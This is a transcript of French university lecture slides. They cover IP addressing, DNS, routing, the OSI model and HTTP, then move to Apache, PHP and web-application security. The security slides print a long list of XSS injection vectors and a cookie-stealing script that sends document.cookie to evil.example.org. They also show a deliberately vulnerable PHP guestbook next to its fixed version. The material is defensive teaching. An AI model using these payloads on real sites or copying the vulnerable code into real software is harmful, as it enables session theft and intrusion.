Programmation Objet en JAVA Cours 10 : Thread (fin) / Réseau (début)
Cours réseau
-
Upload
sonya-banks -
Category
Documents
-
view
27 -
download
2
description
Transcript of Cours réseau
Julien BourgeoisAnnée Spéciale SRC
IUT Belfort-Montbéliardhttp://[email protected]
1
Bureau rechercheNumérica
03 81 99 47 75
Bureau Enseignement
Département R&T03 81 99 47 05
Certains transparents de Didier Donsez sur HTTP
www.netcraft.com www.vulnwatch.org/netcat/ www-adele.imag.fr/users/Didier.Donsez/cours/http.pdf www.liafa.jussieu.fr/~yunes/internet/http
2
Votre métier repose sur les technologies réseau
Donner une idée des technologies réseau pour :◦ Avoir un socle commun pour dialoguer avec les
autres◦ Comprendre un minimum ce qui se passe au
niveau physique◦ Etre capable de se débrouiller pour certaines
opérations (Serveur web, DNS, serveur FTP, etc.)
3
5
?
www.google.com
Où trouver www.google.com
?
Que veut-elle comme service ?
Que faut-il lui envoyer ?
6
?
www.google.com
Où trouver www.google.com
?
Que veut-elle comme service ?
Que faut-il lui envoyer ?
7/23
Le LAN (Local Area Network) ou réseau local
InternetContient des liaisons WAN
(Wide area networks)
Toute machine connectée à internet a une adresse IP (Internet Protocol)
C’est une adresse composée de 4 chiffres (0-255) séparés par des points
Par exemple :◦ Serveur web SRC, 194.57.85.209◦ Serveur web pôle, 194.57.85.210◦ Serveur R&T, 194.57.85.250
8
(
194 .57 .85 .209 194 .57 .85 .210 194 .57 .85 .250 11000010. 00111001. 01010101. 11010001 11000010. 00111001. 01010101. 11010010 11000010. 00111001. 01010101. 11111010
9
Adresse réseau Adresse machine
Comment différencier l’@ réseau de l’@ machine ?◦ A toute @IP est associé un masque de sous-
réseau (netmask)◦ Une @IP seule ne suffit donc pas !
Le netmask sert à éliminer l’@ machine de l’@ IP
10
194 .57 .85 .209 194 .57 .85 .210 194 .57 .85 .250 11000010. 00111001. 01010101. 11010001 11000010. 00111001. 01010101. 11010010 11000010. 00111001. 01010101. 11111010
Ces trois adresses ont le même netmask◦ 255.255.255.192
11
Adresse réseau Adresse machine
194 .57 .85 .209 255 .255 .255 .192 194 .57 .85 .192
11000010. 00111001. 01010101. 11010001 11111111. 11111111. 11111111. 11000000 11000010. 00111001. 01010101. 11000000
On obtient que l’@ réseau, mais à quoi ça sert ?
12
&
&
15
Le LAN (Local Area Network) ou réseau local
InternetContient des liaisons WAN
(Wide area networks)
@IP
@IP
On sait que :◦ Les réseaux sont structurés en LAN/WAN◦ Chaque appareil connecté à internet possède une
adresse IP et un netmask Problème :
◦ www.google.com n’est pas une adresse IP…
16
Domain Name System◦ Protocole de communication◦ Ensemble de serveurs
Permet de faire la conversion entre un nom alphabétique et une adresse IP
Important notamment quand on créé son site web car on doit référencer son adresse auprès des DNS !
17
(
Host (linux) ou nslookup (windows) affichent la correspondance
26
Démarrer -> Exécuter -> cmd, puis :C:/>nslookup www.google.comServeur : tharradin.pu-pm.univ-fcomte.frAddress: 194.57.85.210
Réponse ne faisant pas autorité :Nom : www.l.google.comAddresses: 64.233.183.99, 64.233.183.104, 64.233.183.103Aliases: www.google.com
@IP
L'inverse est aussi possible…
… et on l’appelle reverse DNS
19
C:/>nslookup 64.233.183.99Serveur : tharradin.pu-pm.univ-fcomte.frAddress: 194.57.85.210
Nom : nf-in-f147.google.comAddress: 64.233.183.147
Au début de l'Internet : espace à plat (fichier HOSTS.TXT)◦ taille énorme◦ conflits de noms
Actuellement : espace hiérarchique Format des noms : (x1.x2...xN).y.z
◦ Avec au minimum 2 mots, et <63 carac. Exemple :
◦ google.com, pu-pm.univ-fcomte.fr non sensible à la casse (case insensitive)
20
Format des noms : (x1.x2...xN).y.z◦ Valeurs de z :◦ com, org, net, gov, eu, ... : international◦ fr, ro, es, uk, de, ... : par pays◦ vous pouvez donner un nom en .ro à votre site
alors qu'il est hébergé en Suisse (et que vous habitez en France) !
21
gTLD : Generic Top Level Domain ccTLD : Country Code Top Level Domain
22
NomsNoms
gTLDICANNgTLDICANN
ccTLDAutorité nationale
ccTLDAutorité nationale
Registrar(joker.com)Registrar
(joker.com)Registrar
(gandi.net)Registrar
(gandi.net)Registrar(fc-net.fr)Registrar(fc-net.fr)…
23
NomsNoms
gTLDICANNgTLDICANN
ccTLDAutorité nationale
ccTLDAutorité nationale
Registrar(joker.com)Registrar
(joker.com)Registrar
(gandi.net)Registrar
(gandi.net)Registrar(fc-net.fr)Registrar(fc-net.fr)…
Internet Corporation for Assigned Names and Numbers (ICANN) pour les gTLD
AFNIC pour les domaines .fr et .re
25
Le LAN (Local Area Network) ou réseau local
InternetContient des liaisons WAN
(Wide area networks)
@IP
@IP = 64.233.183.99
On sait que :◦ Les réseaux sont structurés en LAN/WAN◦ Chaque appareil connecté à internet possède une
adresse IP et un netmask◦ L’adresse IP de www.google.com s’obtient en
interrogeant le DNS Problème :
◦ Où trouver l’adresse 64.233.183.99 sur internet ?
26
Adresse LAN ou WAN ?C:\>netstat -r
Table de routage
===========================================================================
Liste d'Interfaces
0x1 ........................... MS TCP Loopback interface
0x2 ...00 13 77 26 4a 5d ...... Broadcom 440x 10/100 Integrated Controller
0x3 ...00 13 02 3a 09 f7 ...... Intel(R) PRO/Wireless 3945ABG Network Connection
===========================================================================
===========================================================================
Itinéraires actifs :
Destination réseau Masque réseau Adr. passerelle Adr. interface Métrique
127.0.0.0 255.0.0.0 127.0.0.1 127.0.0.1 1
172.20.40.64 255.255.255.192 172.20.40.97 172.20.40.97 25
0.0.0.0 0.0.0.0 172.20.40.126 172.20.40.97 25
Passerelle par défaut : 172.20.40.126
===========================================================================
27
Adresse LAN ou WAN ?C:\>netstat -r
Table de routage
===========================================================================
Liste d'Interfaces
0x1 ........................... MS TCP Loopback interface
0x2 ...00 13 77 26 4a 5d ...... Broadcom 440x 10/100 Integrated Controller
0x3 ...00 13 02 3a 09 f7 ...... Intel(R) PRO/Wireless 3945ABG Network Connection
===========================================================================
===========================================================================
Itinéraires actifs :
Destination réseau Masque réseau Adr. passerelle Adr. interface Métrique
127.0.0.0 255.0.0.0 127.0.0.1 127.0.0.1 1
172.20.40.64 255.255.255.192 172.20.40.97 172.20.40.97 25
0.0.0.0 0.0.0.0 172.20.40.126 172.20.40.97 25
Passerelle par défaut : 172.20.40.126
===========================================================================
28
Si je veux aller là…La prochaine étape
est…
Pour y arriver je dois passer par…
Adresse LAN ou WAN ?C:\>netstat -r
Table de routage
===========================================================================
Liste d'Interfaces
0x1 ........................... MS TCP Loopback interface
0x2 ...00 13 77 26 4a 5d ...... Broadcom 440x 10/100 Integrated Controller
0x3 ...00 13 02 3a 09 f7 ...... Intel(R) PRO/Wireless 3945ABG Network Connection
===========================================================================
===========================================================================
Itinéraires actifs :
Destination réseau Masque réseau Adr. passerelle Adr. interface Métrique
127.0.0.0 255.0.0.0 127.0.0.1 127.0.0.1 1
172.20.40.64 255.255.255.192 172.20.40.97 172.20.40.97 25
0.0.0.0 0.0.0.0 172.20.40.126 172.20.40.97 25
Passerelle par défaut : 172.20.40.126
===========================================================================
29
Si je veux aller sur ma machine
La prochaine étape est mon loopback
Pour y arriver je dois passer par mon loopback
Adresse LAN ou WAN ?C:\>netstat -r
Table de routage
===========================================================================
Liste d'Interfaces
0x1 ........................... MS TCP Loopback interface
0x2 ...00 13 77 26 4a 5d ...... Broadcom 440x 10/100 Integrated Controller
0x3 ...00 13 02 3a 09 f7 ...... Intel(R) PRO/Wireless 3945ABG Network Connection
===========================================================================
===========================================================================
Itinéraires actifs :
Destination réseau Masque réseau Adr. passerelle Adr. interface Métrique
127.0.0.0 255.0.0.0 127.0.0.1 127.0.0.1 1
172.20.40.64 255.255.255.192 172.20.40.97 172.20.40.97 25
0.0.0.0 0.0.0.0 172.20.40.126 172.20.40.97 25
Passerelle par défaut : 172.20.40.126
===========================================================================
30
Si je veux aller sur mon LAN
La prochaine étape est mon routeur interne
Pour y arriver je dois passer par
mon interface WiFi
Adresse LAN ou WAN ?C:\>netstat -r
Table de routage
===========================================================================
Liste d'Interfaces
0x1 ........................... MS TCP Loopback interface
0x2 ...00 13 77 26 4a 5d ...... Broadcom 440x 10/100 Integrated Controller
0x3 ...00 13 02 3a 09 f7 ...... Intel(R) PRO/Wireless 3945ABG Network Connection
===========================================================================
===========================================================================
Itinéraires actifs :
Destination réseau Masque réseau Adr. passerelle Adr. interface Métrique
127.0.0.0 255.0.0.0 127.0.0.1 127.0.0.1 1
172.20.40.64 255.255.255.192 172.20.40.97 172.20.40.97 25
0.0.0.0 0.0.0.0 172.20.40.126 172.20.40.97 25
Passerelle par défaut : 172.20.40.126
===========================================================================
31
Si je veux aller n’importe où ailleurs
La prochaine étape est mon routeur externe
Pour y arriver je dois passer par
mon interface WiFi
Adresse LAN ou WAN ?C:\>netstat -r
Table de routage
===========================================================================
Liste d'Interfaces
0x1 ........................... MS TCP Loopback interface
0x2 ...00 13 77 26 4a 5d ...... Broadcom 440x 10/100 Integrated Controller
0x3 ...00 13 02 3a 09 f7 ...... Intel(R) PRO/Wireless 3945ABG Network Connection
===========================================================================
===========================================================================
Itinéraires actifs :
Destination réseau Masque réseau Adr. passerelle Adr. interface Métrique
127.0.0.0 255.0.0.0 127.0.0.1 127.0.0.1 1
172.20.40.64 255.255.255.192 172.20.40.97 172.20.40.97 25
0.0.0.0 0.0.0.0 172.20.40.126 172.20.40.97 25
Passerelle par défaut : 172.20.40.126
===========================================================================
32
C’est le sens de la passerelle par défaut !
On sait que :◦ Les réseaux sont structurés en LAN/WAN◦ Chaque appareil connecté à internet possède une
adresse IP et un netmask◦ L’adresse IP de www.google.com s’obtient en
interrogeant le DNS◦ L’adresse 64.233.183.99 n’est pas sur notre LAN
Problème :◦ Comment trouver son chemin sur internet ?
33
34
InternetContient des liaisons WAN
(Wide area networks)
@IP
@IP = 64.233.183.99
Envoi à 64.233.183.99
Physique
Liaison
Réseau
Transport
Session
Présentation
Application Couche 1 :Interfacage avec le support physique
Codage et décodage du signal
Gestion début et fin des trames
Conversion données en signaux
Physique
Liaison
Réseau
Transport
Session
Présentation
Application Couche 1 :Interfacage avec le support physique
Appareil réseau : Concentrateur (Hub)
Renvoie à tous le monde tous les paquets
Topologie physique en étoile, topologie logique en bus
Physique
Liaison
Réseau
Transport
Session
Présentation
Application Couche 2 : sous-couche MAC
Medium Access Control Conversion des données
en trames adaptées au support
Gestion des adresses physiques (adresses MAC)
MAC
LLC
Physique
Liaison
Réseau
Transport
Session
Présentation
Application Couche 2 : sous-couche MAC
Medium Access Control Conversion des données
en trames adaptées au support
Gestion des adresses physiques (adresses MAC)
MAC
LLC
Physique
Liaison
Réseau
Transport
Session
Présentation
Application Couche 2 : sous-couche LLC
Appareil réseau : commutateur (switch)
Utilise les adresses MAC pour router les paquets
MAC
LLC
Physique
Réseau
Transport
Session
Présentation
Application Couche 3 :Adressage, nommage et routage IP (Internet Protocol) Adresse unique pour une
machine Conversion
physique/logique Routage, choix de la
destination des paquets
Liaison
Physique
Réseau
Transport
Session
Présentation
Application Couche 3 :Adressage, nommage et routage Appareil réseau : routeur Utilise les adresses
réseaux Utilise des protocoles de
routage (RIP, OSPF, BGP, etc.)
Liaison
Physique
Réseau
Transport
Session
Présentation
Application Couche 4 : Transport TCP (Transport Control
Protocol) Reséquencement des paquets Etablissement, maintien et
fermeture des liaisons Contrôle de flux et d'erreur UDP (User Datagram Protocol) Mode non-connecté Pas de contrôle de flux, etc.
Liaison
Qui est le leader des serveurs web ?◦ Apache
Quelle est sa part de marché en 2007 ?◦ 57%
D’où vient son nom ?◦ A patchy serveur
48
(
50
Modularité Fiabilité égale aux produits commerciaux
(0.53 erreur par 100 lignes de code) Open source (tuning possible) Multi plate-formes Mauvais départ de IIS principal concurrent Performances
On sait comment trouver le serveur web On peut lui envoyer des informations Mais comment lui demander une page
web ?
53
HyperText Transfer Protocol Protocole basé sur des messages en texte
◦ Facilement compréhensible Permet de dialoguer avec un serveur web
◦ Stable et éprouvé Historique : HTTP/0.9 : T. Berners-Lee, 1991 RFC 1945 : HTTP/1.0. T. Berners-Lee, R. Fielding, H. Frystyk. 6/1996. RFC 2068 : HTTP/1.1. R. Fielding, J. Gettys, J. Mogul, H. Frystyk, T. Berners-Lee.
1/1997. RFC 2616 : HTTP/1.1. R. Fielding, J. Gettys, J. Mogul, H. Frystyk, L. Masinter, P. Leach,
T. Berners-Lee. 6/1999. RFC 2817 : Upgrading to TLS Within HTTP/1.1. R. Khare, S. Lawrence. May 2000. RFC 2616bis : HTTP/1.1, 1/2008
54
N’importe quel outil réseau peut dialoguer en HTTP◦ Netcat, telnet, …
Il suffit de connaître les commandes HTTP … et de savoir déchiffrer les réponses du
serveur
55
C:\>nc -v www.free.fr 80
www.free.fr [212.27.48.10] 80 (http) open
GET / HTTP/1.1
Host: www.free.fr
HTTP/1.1 200 OK
Date: Tue, 28 Aug 2007 08:12:33 GMT
Server: Apache
Last-Modified: Tue, 28 Aug 2007 08:12:41 GMT
ETag: W/"248d6-e6ad-46d3e0cf"
Accept-Ranges: bytes
Content-Length: 59053
Connection: close
Content-Type: text/html; charset=iso-8859-1
X-Pad: avoid browser bug
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html><head><title>Bienvenue sur Free :)</title>
…
</body></html>
56
Commande netcat à taper
Réponse de netcat
Commande HTTP à taperTapez 2x entrée pour envoyer la commande
Réponse au format HTTP de www.free.frsuivi du code HTML de la page demandée
GET◦ Récupération d ’un document
GET ou POST◦ Soumission d ’un formulaire
PUT, DELETE, LINK, UNLINK ◦ Envoi de Document et Gestion de Site
HEAD◦ Récupération des informations sur le document
57
OPTIONS◦ Demande des options de communication
disponibles TRACE
◦ Retourne le corps de la requête intacte (déboguage)
CONNECT
58
Du client vers le serveur<Méthode> <URI> HTTP/<Version>
[<Champ d ’entête>: <Valeur>]
[<tab><Suite Valeur si >1024>]
ligne blanche
[corps de la requête pour la méthode POST]
Exemple
59
GET / HTTP/1.1Host: www.free.frLigne blanche (tapez 2x entrée)
Du serveur vers le clientHTTP/<Version> <Status> <Commentaire Status>
Content-Type: <Type MIME du contenu>
[< Champ d ’entête >: <Valeur>]
[<tab><Suite Valeur si >1024>]
Ligne blanche
Document
Exemple
60
HTTP/1.1 200 OK…Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html><head><title>Bienvenue sur Free :)</title>…</body></html>
100-199 Informationnel◦ 100 : Continue (le client peut envoyer la suite de la requête), ...
200-299 Succès de la requête client◦ 200: OK, 201: Created, 204 : No Content, ...
300-399 Redirection de la Requête client◦ 301: Redirection, 302: Found, 304: Not Modified, 305 : Use
Proxy, ... 400-499 Requête client incomplète
◦ 400: Bad Request, 401: Unauthorized, 403: Forbidden, 404: Not Found
500-599 Erreur Serveur◦ 500: Server Error, 501: Not Implemented,◦ 502: Bad Gateway, 503: Out Of Resources (Service Unavailable)
61
62
InternetInternet
DMZFTP
HTTP
Routeur avec filtrage niveau 3 et 4
Firewall avec filtrage applicatif
Authentification Filtrage sélectif Détection des
intrusionsIDS
AAA
63
Cacher des informations◦ ServerTokens Prod◦ ServerSignature Off◦ Redéfinir une page 404
C’est la base mais la plupart des serveurs ne le font pas !!!!
64
Accès aux répertoires
<directory />order deny,allowdeny from all</directory><directory «/chroot/www/»/>order allow,denyallow from all</directory>
65
Exécuter apache avec les bons droits Création d’un groupe et d’un utilisateur
apache But : Empêcher (ou retarder…) la
propagation d’un exploit
66
Commande Unix : change root Exécute une commande avec un répertoire
racine spécifique But : Emprisonner un programme dans son
arborescence
67
Création d’une arborescence Vérification des dépendances (ldd) Recopie des librairies Recopie des fichiers de configs et spéciaux
68
Utilisation de debootstrap◦ Permet d’installer une debian de base◦ Evite les recopies fastidueuses◦ Mais prend plus de place !
69
On se place dans le cas d’utilisateurs ou de programmes mal intentionnés
Technique du cheval de Troie◦ Entrée camouflée◦ Lors de l’exécution, prise de contrôle de
l’application (affichage d’informations confidentielles, exécution de scripts, …)
70
Niveau administration des services◦ Bloquer certaines fonctionnalités◦ Imposer des limites (CPU, mémoire, etc.)
Linux PAM : Pluggable Authentication Modules Niveau programmation
◦ Filtrage des entrées
71
Empêcher le changement de répertoire ◦ Interdire /, .. ou ~
Empêcher la divulgation d’informations◦ Interdire le globbing (*, ?, [], {}) (ex: ftp)
Ex : ftp> ls *../*/../*../◦ Filtrer les noms de fichiers
--, caractères de controle, espace, encodage exotique, <, “, etc.
72
Cause majeure de trou de sécurité Possibilité d’HTML sont énormes :
◦ Cross-site scripting◦ Javascript◦ … tout autre langage (flash, java, …)
Dans les pages HTML, mais surtout dans les mails (pas de sandbox) !
L’utilisateur charge une page sans connaitre son contenu !
73
Filtrer les caractères de contrôles des pages HTML
Définir une liste de balises sûres…◦ <p>, <b>, <i>, <em>, <strong>, <pre>, <br>
… et éliminer les autres◦ <script>, <applet>, <embed>, <bgsound>, …
75
<a href="javascript#[code]"><div onmouseover="[code]"><img src="javascript:[code]"><img dynsrc="javascript:[code]"> [IE]<input type="image" dynsrc="javascript:[code]"> [IE]<bgsound src="javascript:[code]"> [IE]&<script>[code]</script>&{[code]}; [N4]<img src=&{[code]};> [N4]<link rel="stylesheet" href="javascript:[code]"><iframe src="vbscript:[code]"> [IE]<img src="mocha:[code]"> [N4]<img src="livescript:[code]"> [N4]<a href="about:<script>[code]</script>"><meta http−equiv="refresh" content="0;url=javascript:[code]"><body onload="[code]">
76
<div style="background−image: url(javascript:[code]);"><div style="behaviour: url([link to code]);"> [IE]<div style="binding: url([link to code]);"> [Mozilla]<div style="width: expression([code]);"> [IE]<style type="text/javascript">[code]</style> [N4]<object classid="clsid:..." codebase="javascript:[code]"> [IE]<style><!−−</style><script>[code]//−−></script><!−− −− −−><script>[code]</script><!−− −− −−><<script>[code]</script><img src="blah"onmouseover="[code]"><img src="blah>" onmouseover="[code]"><xml src="javascript:[code]"><xml id="X"><a><b><script>[code]</script>;</b></a></xml><div datafld="b" dataformatas="html" datasrc="#X"></div>[\xC0][\xBC]script>[code][\xC0][\xBC]/script> [UTF−8; IE, Opera]<![CDATA[<!−−]] ><script>[code]//−−></script>
78
Phishing (Hameçonnage)◦ Amener l’internaute sur un site web usurpé◦ Soutirer des informations confidentielles
En France◦ Fin 2004, condamnation d’un étudiant (1 an de
prison et 8500 € d’amende)◦ 40 sites de phishing en France
Voir www.phishing.fr
79
Un lien est-il sûr ? URIscheme://authority[path][?query][#fragment] Authority :[username[:password]@]host[:portnumber]
80
Exemple :http://www.ibm.com/[email protected]
Interdire les user/password Limiter l’usage de ports exotiques Comme pour HTML, mise en place de
filtres !
81
Dépassement de tampon Buffer : espace mémoire alloué pour des
besoins temporaires Espace mémoire = taille finie Dépassement de cette taille peut permettre
de prendre le contrôle de l’application
82
Risques réels :◦ Netscape 4 : prise de contrôle à distance◦ Windows NT : longueur des mots de passe◦ Internet Explorer : redirection vers des pages non
demandées (distribution de virus, vers, backdoor, etc.)
83
Pose problème surtout en C/C++ Peu de problèmes en Java Si programmation en C/C++ :
◦ Utilisation de librairies spécifiques (libsafe)◦ Utilisation d’outils de compilation spécifiques
(StackGuard, ProPolice)
84
Génération de code HTML à partir d’entrées utilisateur
Exemples :◦ Guestbook◦ Commentaires de sites◦ Etc.
85
Un attaquant envoie du code malveillant sur site web
Le site web publie ce code Ce code est lu par la victime qui croit être
sur un site “sûr” Problème de confiance !
87
Exemple : Vol de cookie <script>document.location ='http://evil.example.org/steal-cookies.php'+ '?cookies=' + document.cookie </script>
88
Exemple : Mais qu’est-ce que ça fait ? <form action="<? echo $PHP_SELF; ?>"><input type="text" name="message"><input type="submit"></form><?if (!empty($_GET['message'])){ $fp = fopen('./messages.txt', 'a'); fwrite($fp, "{$_GET['message']}<br>"); fclose($fp);}readfile('./messages.txt');?>
89
Solutions : Filtrer les entrées d’un site
◦ Conversion de caractères◦ Appliquer la règle de base de la sécurité : “Tout
ce qui n’est pas autorisé est interdit.”◦ Interdire les messages board ? :-)
90
htmlentities() : Convertit tous les caractères éligibles en entités HTML
strip_tags() : Supprime les balises HTML et PHP d'une chaîne
utf8_decode() : Convertit une chaîne UTF-8 en ISO-8859
91
<form action="<? echo $PHP_SELF; ?>"><input type="text" name="message"><input type="submit"></form><?
if (!empty($_GET['message'])){ $fp = fopen('./safer.txt', 'a'); $msg = htmlentities($_GET['message']); fwrite($fp, "$msg<br>"); fclose($fp);}readfile('./safer.txt');
?>
92
Langage relativement sûr de base Sécurité en Java repose essentiellement sur
les questions d’héritage
93
Enfonçons quelques portes ouvertes ensemble :◦ Pas de variables en public -> private◦ Pas de méthodes en public -> private pour
empêcher la réception de données malveillantes◦ Classes et méthodes doivent être terminales
(final)
94
Encore :◦ Classes non sérialisablesprivate final void writeObject(ObjectOutputStream out)throws java.io.IOException {throw new java.io.IOException("Object cannot be serialized");}
◦ Classes non désérialisablesprivate final void readObject(ObjectInputStream in)throws java.io.IOException {throw new java.io.IOException("Class cannot be deserialized");}
95
Mauvaise image au niveau sécurité Provient principalement de raisons
historiques plus ou moins anciennes Au début (avant 4.1) pas beaucoup de
préoccupations sécuritaires PHP est jeune -> 1995 PHP a été créé de manière anarchique
96
Problèmes dans la gestion des variables◦ Partage du même espace de nommage de toutes
les variables◦ Initialisation par défaut
Possibilité de contrôler (lecture et écriture) la valeur de toutes les variables
97
Exemple :<?php
if ($pass == "hello")
$auth = 1;
...
... <- Modification de $auth par un attaquant !
...
if ($auth == 1)
echo "some important information";
?>
99
PHP mutualisé (fournisseur d’accès) Apache en serveur web Différents utilisateurs, différents scripts,
mêmes droits ! + simple est d’utiliser le safe mode
100
Quand appel à fopen() :◦ Vérification du propriétaire du script◦ Correspondance propriétaire du fichier
Commandes limitées ◦safe_mode_exec_dir
Variables environnement ◦safe_mode_allowed_env_vars
101
Modification des variables d’environnement◦ safe_mode_protected_env_vars◦ putenv() modifie uniquement les variables PHP_
Fonctions interdites◦ disable_functions (dl, symlink, virtual, etc.)
102
Nom Par défaut Modifiable
safe_mode "0" PHP_INI_SYSTEM
safe_mode_gid "0" PHP_INI_SYSTEM
safe_mode_include_dir NULL PHP_INI_SYSTEM
safe_mode_exec_dir "" PHP_INI_SYSTEM
safe_mode_allowed_env_vars PHP_ PHP_INI_SYSTEM
safe_mode_protected_env_vars LD_LIBRARY_PATH PHP_INI_SYSTEM
open_basedir NULL PHP_INI_SYSTEM
disable_functions "" PHP_INI_SYSTEM
disable_classes “” PHP_INI_SYSTEM
104
suPHP ◦ Module apache (mod_suphp)◦ Exécutable (suPHP)
Permet d’exécuter les scripts PHP avec les droits de l’utilisateur
105
Plus besoin du safe mode, donc plus de restrictions au niveau du PHP
suPHP doit avoir les droits root…
106
Supprimer l’utilisation de certaines commandes dans php.ini avec disable_functions
Limiter les droits sur le système de fichier (noexec)
107
http est basé sur des échanges de messages texte en clair
Problème lors de l’échange de données sensibles◦ Carte de crédit◦ Mots de passe
108
Utilisation d’un port séparé : 443 Cryptage de tous les échanges avec SSL Utilisation d’une clé de 128bits Proposé par Netscape, en 1996 tentative de
contre par Microsoft et STT